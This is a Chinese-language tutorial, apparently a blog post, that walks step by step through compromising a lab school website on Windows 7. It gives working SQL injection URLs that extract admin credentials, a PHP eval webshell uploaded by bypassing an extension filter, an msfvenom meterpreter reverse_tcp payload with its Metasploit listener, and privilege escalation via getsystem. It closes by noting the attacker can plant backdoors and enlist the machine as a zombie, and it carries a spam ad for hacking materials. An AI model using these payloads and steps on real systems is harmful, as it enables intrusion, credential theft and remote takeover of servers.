网站攻击到提权的全部过程
准备工作
靶机(被攻击方):win7 系统入侵者(攻击方):win10 系统、kali 系统
首先启动 win7 系统,搭建一个常见的校园网站,然后映射到局域网,使得我们能正常访问。

从网站拿到 webshell
2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、大厂面经、精品手册、必备工具包、路线)一>获取<一
sql 注入漏洞
把整个网站浏览完一遍后,我们发现这里的 url 为?id=10 结尾,我们猜测可能是一个 sql 注入点。

首先我们在 id=10 后面加上一个单引号’进行判断。

这个时候我们发现回显的数据不正常,于是我们再加一个注释符号。

发现数据这个时候回显的时候是正常的,到这一步我们已经可以确定这里存在一个 sql 注入漏洞。
原理我们可以简单解释一下在网站中,我们一般使用数据库存储网站数据,网站和数据库是存在一个交互性。网站所呈现的内容是由代码中写入的 sql 语句调用数据库中的内容进行一个呈现,例如我们刚刚看到的文字。而 sql 注入漏洞一般是由于程序员书写的 sql 语句不规范所导致的安全事件。
例如网站源码中使用如下的 sql 语句进行查询。

给语句结尾的 where 查询条件加上一个单引号’。

很显然,我们传入的单引号和前面的单引号闭合,后面只有一个无法成对的单引号,然后报了语法错误。这个时候我们再加上--+
注释符号注释掉后面的单引号。

这个时候查询的数据就会正确回显出来。
原理简单解释了一下之后,我们回到刚刚的网站。这个时候我们发现存在 sql 注入漏洞之后,我们就开始进行查询对方网站数据库的数据,找到一些敏感信息,例如管理员的账号密码等等。
首先,我们使用 order by 语句快速猜解出表中的列数。

发现 10 列的时候报错,说明不足 10 列,我们继续缩小范围。

再查询第 8 列的时候,发现数据回显正确,说明对方表中含有列数 8 我们使用 union select 自定义查询测试一下,zhu 意我们这里前面的 id=10,要写成 id=-10,把这里的查询置空。

发现会分别回显第三列、第五列和第七列。接下来我们就可以在三、五、七处做做文章。
查询数据库名字:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,database(),4,5,6,7,8--+

得到数据库名字:qzn_zuiai
查询数据库中的表名:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(table_name),4,5,6,7,8 from information_schema.tables where table_schema="qzn_zuiai"--+

得到一共 se2admin,se2fl,se2hd,se2nr,se2tufl,se2tunr,se2wz,se2zf,sj3sk 九张表通过表名,我们猜测 se2admin 可能是存储管理员账号和密码的表,所以我们先查询这张表中的数据
查询表 se2admin 中的字段:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name="se2admin"--+

得到表中的字段值有 id,name,pass 等,接下来我们查询 name 和 pass 的字段值。
查询字段值:
http://192.168.1.167/yxlink/tuku/images.php?id=-10' union select 1,2,name,4,pass,6,7,8 from se2admin--+

我们得到管理员账号:admin,管理员账号密码:7fef6171469e80d32c0559f88b377245 很显然密码值是被加密的 md5 值,所以我们去网上找 md5 网站进行撞库查询。

得到管理员密码为:admin888 接下来我们需要查找这个网站的后台地址,我们使用御剑进行一个扫描。

御剑爆出了很多敏感地址,我们找到一个 admin 的目录,可能是后台地址,我们去访问一下。

输入我们刚刚得到的管理员账号和密码 admin:admin888。

这个时候,我们成功进入对方网站后台。
文件上传漏洞
接下来我们再这里找到一个文件上传点。

我们写一个简单的一句话木马。
<?php @eval($_POST['pass']);?>

考虑到这里可能会对我们上传的文件进行一个后缀限制,例如只能上传 jpg 或者 png 图片格式文件等,所以我们把 muma.txt 改成 muma.jpg 格式。

我们开启 burpsuite,然后点提交,拦截到我们发送的数据包。

我们把 muma.jpg 改回 php 文件类型:muma.php。

然后发送数据包。

ok,已经上传成功,我们去找找我们上传后的路径。

得到我们的上传完整路径为:http://192.168.1.167/yxlink/img/img_3699336993.php
我们使用蚁剑进行连接我们上传的木马。

成功连接,进入到对方服务器。

到此,已成功拿到 webshell。
反弹 shell 连接
接下来我们利用 kali 的 msf 制作一个 exe 类型的反弹型木马。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali的ip LPORT=端口 -f 类型 -o 文件名

把做好的木马,通过我们蚁剑刚刚连接的 webshell 进行上传。


上传成功后,我们在 kali 启动 msf。

执行监听
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.131 set lport 4444 exploit

执行木马
msf 开启监听之后,我们去蚁剑 webshell 执行我们上传的木马。

执行之后,回到 kali,我们可以看到 msf 目标正在回连,创建 Meterpreter 会话成功。

提权
首先查看一下我们的用户权限。

发现是普通用户权限,之前我们已经在 webshell 观察到对方是 win7 系统,所以我们采用的是 windows 的载荷攻击我们尝试使用 getsystem 进行提权试试。

发现直接提权成功,现在我们拥有 windows 最高权限 system。接下来我们打印一下系统信息,并且拍照对方电脑现在状态。


ok,成功。
结语
在拿到 system 权限之后,我们可以干很多很多的事…例如给对方种下后门,拿来当肉鸡等等。。。这告诉我们开发网站必须注重安全,否则带来的后果是无穷大的。emmm…这波有点难受。
注:本文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本文章不承担任何法律及连带责任,请遵守中华人民共和国安全法。
评论